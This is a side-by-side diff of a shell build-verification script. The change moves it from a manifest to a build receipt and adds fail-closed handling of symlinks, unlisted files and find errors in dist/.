# - the walk is NUL-delimited and the paths reach the check as arguments, so # - the walk is NUL-delimited and the paths reach the check as arguments, so
# no name can be reshaped on the way in. Read line by line, a name with a # no name can be reshaped on the way in. Read line by line, a name with a
# trailing space lost it to read's field splitting and the remnant then # trailing space lost it to read's field splitting and the remnant then
# matched a manifest line, and a name containing a newline arrived as a # matched a listed path, and a name containing a newline arrived as a
# listed path plus an empty one. Both left a marker-carrying, unlisted file # listed path plus an empty one. Both left an unchecked file in dist/ while
# unchecked while the script still reported success. Delivering such a name # the script still reported success.
# intact is only half of it; is_listed also has to keep it out of grep's
# pattern, for the same reason.
# - find's exit status is checked. A subtree it cannot descend is reported on # - find's exit status is checked. A subtree it cannot descend is reported on
# stderr and then simply missing from the listing, so an unchecked status # stderr and then simply missing from the listing, so an unchecked status
# turns "could not look" into "nothing was there" — the same conflation # turns "could not look" into "nothing was there" — the same conflation
# has_marker exists to prevent. The status cannot be read off a pipeline, # has_marker exists to prevent. The status cannot be read off a pipeline,
# so the listing lands in a file that xargs then reads back. # so the listing lands in a file that xargs then reads back.
# - symlinks are walked too (-type l), not skipped. A marker-carrying bundle # - symlinks are walked too (-type l), not skipped. The build emits none, so
# reachable under an unlisted path in dist/ is a stale manifest whether the # a symlink under dist/ is a path the build did not produce, whatever it
# path is a link or a file, and grep reads through the link. A link that # points at, and it fails as one instead of being read through.
# cannot be read through — dangling, or pointing at a directory — fails
# hard via has_marker's exit-2 path, which is the fail-closed answer: the
# build emits neither, so their DEBUG state is unproven, not fine.
# - dist/ itself must be a directory and not a symlink, which main asserts # - dist/ itself must be a directory and not a symlink, which main asserts
# before anything reads through it. find does not follow a symlink named on # before anything reads through it. find does not follow a symlink named on
# its own command line, so a linked dist/ collapses this walk to one entry # its own command line, so a linked dist/ collapses this walk to one entry
@@ -181,7 +394,7 @@ read_marker() {
# #
# Types other than regular files and symlinks are left out on purpose: a build # Types other than regular files and symlinks are left out on purpose: a build
# emits none of them, and grep on a fifo would hang rather than fail. # emits none of them, and grep on a fifo would hang rather than fail.
check_unlisted_bundles() { check_dist_tree() {
LISTING="$(mktemp "${TMPDIR:-/tmp}/verify-build-dist.XXXXXX")" || LISTING="$(mktemp "${TMPDIR:-/tmp}/verify-build-dist.XXXXXX")" ||
fail "could not create a temporary file for the dist/ listing, so the fail "could not create a temporary file for the dist/ listing, so the
tree was never walked. Refusing to report success." tree was never walked. Refusing to report success."
@@ -191,105 +404,196 @@ check_unlisted_bundles() {
[ "$_find_status" -eq 0 ] || [ "$_find_status" -eq 0 ] ||
fail "find exited $_find_status enumerating dist/, so part of the tree fail "find exited $_find_status enumerating dist/, so part of the tree
was never walked and nothing was established about the files in it. Any was never walked and nothing was established about the files in it. Any
unlisted bundle there went unchecked. That is a permissions or I/O fault on file the build did not emit could be sitting there unchecked. That is a
the artifact, not a stale manifest. Refusing to report success." permissions or I/O fault on the artifact. Refusing to report success."
_scan_status=0 _scan_status=0
xargs -0 "$SELF" "$SCAN_FLAG" <"$LISTING" || _scan_status=$? xargs -0 "$SELF" "$SCAN_FLAG" "$RECEIPT" <"$LISTING" || _scan_status=$?
[ "$_scan_status" -eq 0 ] || [ "$_scan_status" -eq 0 ] ||
fail "the unlisted-bundle scan exited $_scan_status: either a path fail "the dist/ tree scan exited $_scan_status: either a path under
under dist/ failed the check reported above, or the scan could not be run dist/ failed the check reported above, or the scan could not be run at all.
at all. Refusing to report success." Refusing to report success."
} }
# The per-path half of check_unlisted_bundles. It runs in a re-invocation of # Does the receipt name the path $1? Compared as whole strings, never through
# this script, so it uses the same is_listed and has_marker as the rest of the # grep: a path found under dist/ is attacker-shaped input, and a pattern is not
# file rather than a second copy of them that could drift. Paths arrive as # the place to put one. The receipt's own paths are known to carry no
# arguments and are never split, joined or trimmed. # whitespace by the time this runs — verify_receipt failed the run otherwise —
# so stripping the three leading fields recovers each one exactly.
receipt_names() {
_rn_want="$1"
_rn_line=""
while IFS= read -r _rn_line || [ -n "$_rn_line" ]; do
case "$_rn_line" in
"file "*) ;;
*) continue ;;
esac
[ "${_rn_line#file * * }" != "$_rn_want" ] || return 0
done <"$RECEIPT"
return 1
}
# The per-path half of check_dist_tree. It runs in a re-invocation of this
# script, so it uses the same helpers as the rest of the file rather than a
# second copy of them that could drift. Paths arrive as arguments and are never
# split, joined or trimmed.
scan_dist_paths() { scan_dist_paths() {
for _file in "$@"; do for _file in "$@"; do
if is_listed "$_file"; then if [ -h "$_file" ]; then
fail "$_file is a symlink under dist/. The build emits regular
files only, so this path is not something it produced, and what it points
at is not what was verified. Refusing to report success."
fi
if receipt_names "$_file"; then
continue continue
fi fi
if has_marker "$MARKER_ON" "$_file" || fail "$_file is under dist/ but the build that just ran did not emit
has_marker "$MARKER_OFF" "$_file"; then it. dist/ must contain exactly what the build produced: an extra file there
fail "$_file carries a debug marker but is absent from $MANIFEST, is an artifact nothing vouches for, and shipping the directory ships it."
so the manifest no longer describes the emitted bundles."
fi
done done
} }
# The requested mode, read from our own environment using build.js's exact # --- arguments --------------------------------------------------------------
# rule: only the literal 1 opts in. Deliberately not taken from anything
# build.js records about itself, so build.js cannot vouch for build.js. # The expected mode and the receipt are stated by the caller. Nothing is read
expected_marker() { # from the environment, and there is no default for either.
if [ "${AUTISTMASK_DEBUG-}" = "1" ]; then parse_args() {
echo "$MARKER_ON" while [ "$#" -gt 0 ]; do
else case "$1" in
echo "$MARKER_OFF" --expect)
fi [ "$#" -ge 2 ] || fail "--expect needs an argument (release|debug)."
set_expect "$2"
shift 2
;;
--expect=*)
set_expect "${1#--expect=}"
shift
;;
--receipt)
[ "$#" -ge 2 ] || fail "--receipt needs a path."
set_receipt "$2"
shift 2
;;
--receipt=*)
set_receipt "${1#--receipt=}"
shift
;;
*)
usage
fail "unknown argument: $1"
;;
esac
done
} }
main() { set_expect() {
cd "$ROOT" [ -z "$EXPECT" ] || fail "--expect given more than once."
case "$1" in
release) EXPECT="$MARKER_OFF" ;;
debug) EXPECT="$MARKER_ON" ;;
*) fail "--expect takes release or debug, not \"$1\"." ;;
esac
}
# Internal re-entry from check_unlisted_bundles' xargs. Not part of the set_receipt() {
[ -z "$RECEIPT" ] || fail "--receipt given more than once."
[ -n "$1" ] || fail "--receipt was given an empty path."
# Resolved against the caller's directory, before main cd's to the repo
# root.
case "$1" in
/*) RECEIPT="$1" ;;
*) RECEIPT="$PWD/$1" ;;
esac
}
# --- main -------------------------------------------------------------------
main() {
# Internal re-entry from check_dist_tree's xargs. Not part of the
# command-line interface: nothing else invokes it, and it is a distinct # command-line interface: nothing else invokes it, and it is a distinct
# entry point rather than a mode flag threaded through the checks below. # entry point rather than a mode flag threaded through the checks below.
if [ "${1-}" = "$SCAN_FLAG" ]; then if [ "${1-}" = "$SCAN_FLAG" ]; then
shift shift
[ "$#" -ge 1 ] || fail "internal: $SCAN_FLAG needs the receipt path."
RECEIPT="$1"
shift
cd "$ROOT"
[ -r "$RECEIPT" ] ||
fail "$RECEIPT became unreadable during the run, so the dist/ tree
could not be checked against it. Refusing to report success."
scan_dist_paths "$@" scan_dist_paths "$@"
return 0 return 0
fi fi
expected="$(expected_marker)" parse_args "$@"
echo "Verifying emitted bundles (expecting $expected)..."
[ -n "$EXPECT" ] || {
usage
fail "no --expect argument. The mode this build was supposed to produce
has to be stated by whoever ran the build; it is not a default and it is
not read from AUTISTMASK_DEBUG in this script's environment, because an
operator with that exported would then have their debug build verified as
the release one they asked for."
}
[ -n "$RECEIPT" ] || {
usage
fail "no --receipt argument. The list of files to check comes from the
build that just ran, not from dist/: without it, a hand-written dist/ would
be verifying itself. make build and make build-debug pass one."
}
pick_sha256
cd "$ROOT"
# Asserted here rather than left to grep. A symlinked dist/ used to fail # Asserted here rather than left to grep. A symlinked dist/ used to fail
# only because GNU grep exits 2 on a directory, so check_unlisted_bundles' # only because GNU grep exits 2 on a directory, so the tree walk hit
# single entry hit has_marker's I/O path by luck; under a grep that exits 1 # has_marker's I/O path by luck; under a grep that exits 1 instead, the
# instead, the whole cross-check would have collapsed into a pass. # whole cross-check would have collapsed into a pass.
if [ -h dist ]; then if [ -h dist ]; then
fail "dist is a symlink, not a directory. find does not follow a fail "dist is a symlink, not a directory. find does not follow a
symlink named on its own command line, so the unlisted-bundle cross-check symlink named on its own command line, so the tree walk would see one entry
would see one entry instead of the emitted tree and establish nothing about instead of the emitted tree and establish nothing about it. Refusing to
it. Refusing to report success." report success."
fi fi
[ -d dist ] || [ -d dist ] ||
fail "dist is not a directory, so there is no emitted tree to verify. fail "dist is not a directory, so there is no emitted tree to verify.
build.js writes it; run make build first." build.js writes it; run make build first."
[ -f "$MANIFEST" ] || case "$RECEIPT" in
fail "$MANIFEST is missing. build.js writes it at the end of a "$ROOT/dist" | "$ROOT/dist/"*)
successful build; run make build first." fail "the receipt is inside dist/ ($RECEIPT). A receipt that lives in
[ -s "$MANIFEST" ] || the tree it describes is rewritten by whoever rewrites the tree, and vouches
fail "$MANIFEST is empty, so no emitted bundle was found to contain for nothing. make build keeps it outside the repo."
src/shared/constants.js. That is never correct, so it is a failure and not ;;
a pass." esac
[ -r "$MANIFEST" ] ||
fail "$MANIFEST is not readable, so nothing was inspected. That is a [ -e "$RECEIPT" ] ||
fail "$RECEIPT is missing. build.js writes it at the end of a
successful build; run make build rather than invoking this directly."
[ -f "$RECEIPT" ] ||
fail "$RECEIPT is not a regular file, so it is not a build receipt."
[ -s "$RECEIPT" ] ||
fail "$RECEIPT is empty, so the build wrote nothing to it and there is
no account of what it emitted. build.js writes the receipt last, so an
empty one means the build did not finish."
[ -r "$RECEIPT" ] ||
fail "$RECEIPT is not readable, so nothing was inspected. That is a
permissions or I/O fault, not a pass." permissions or I/O fault, not a pass."
count=0 echo "Verifying emitted files against the build receipt (expecting" \
while read -r file; do "$EXPECT)..."
[ -n "$file" ] || continue
[ -f "$file" ] ||
fail "$MANIFEST lists $file, which does not exist."
[ -s "$file" ] ||
fail "$MANIFEST lists $file, which is empty. An empty bundle
carries no marker and proves nothing, so this is a failure and not a pass."
read_marker "$file"
[ "$MARKER" = "$expected" ] ||
fail "$file is $MARKER but this build expects $expected."
echo " ok: $file ($MARKER)"
count=$((count + 1))
done <"$MANIFEST"
[ "$count" -gt 0 ] || fail "no bundles were inspected." # Order matters. The receipt has to be well-formed before it is used as an
# expectation, and the tree has to be walkable in full before any single
# file in it is pronounced on: a subtree that cannot be descended makes
# every file under it look absent, and "could not look" must never be
# reported as "was not there".
check_receipt_shape
check_dist_tree
check_receipt_entries
check_unlisted_bundles echo "verify-build: $COUNT emitted file(s) verified against the receipt," \
"$AUDITED bundle(s) $EXPECT"
echo "verify-build: $count bundle(s) verified $expected"
} }
main "$@" main "$@"